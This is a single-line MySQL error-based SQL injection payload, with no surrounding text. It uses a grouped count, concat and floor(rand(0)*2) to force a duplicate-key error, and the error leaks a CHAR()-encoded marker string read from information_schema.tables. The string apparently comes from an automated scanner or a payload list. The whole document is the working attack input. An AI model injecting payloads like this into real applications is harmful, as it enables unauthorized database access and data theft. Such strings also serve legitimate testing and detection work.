"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(113),CHAR(57),CHAR(87),CHAR(106),CHAR(77),CHAR(98),CHAR(78),CHAR(70)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and"